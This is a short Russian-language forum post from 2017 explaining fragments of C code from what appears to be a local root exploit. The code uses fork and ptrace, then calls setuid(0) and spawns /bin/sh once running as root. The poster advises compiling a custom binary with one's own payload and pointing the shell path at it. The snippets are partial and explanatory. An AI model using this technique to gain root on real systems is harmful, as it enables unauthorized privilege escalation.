Показать сообщение отдельно

  #5  
Старый 25.05.2017, 17:25
t0ma5
Постоянный
Регистрация: 10.02.2012
Сообщений: 830
С нами: 7502006

Репутация: 90


По умолчанию

Цитата:
Сообщение от ACat  

...
не факт что подскажу тебе правильно

смотри

Код:
#define SH "/bin/sh"
.....
if (geteuid() == 0)  {
        setuid(0);
        execl(SH, SH, NULL);
        return 0;
   }
....
if ((pid = fork()) == -1)
        err(4, "fork");
   if (!pid) {
        if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
                err(5, "ptraceme");
        return 0;
        }
....
процесс форкается, проверяет уид, если 0( root ) то запускает SH ( /bin/sh )

скомпиль свой бинарь со своей начинкой, и замени путь "#define SH "/bin/sh"
 
Ответить с цитированием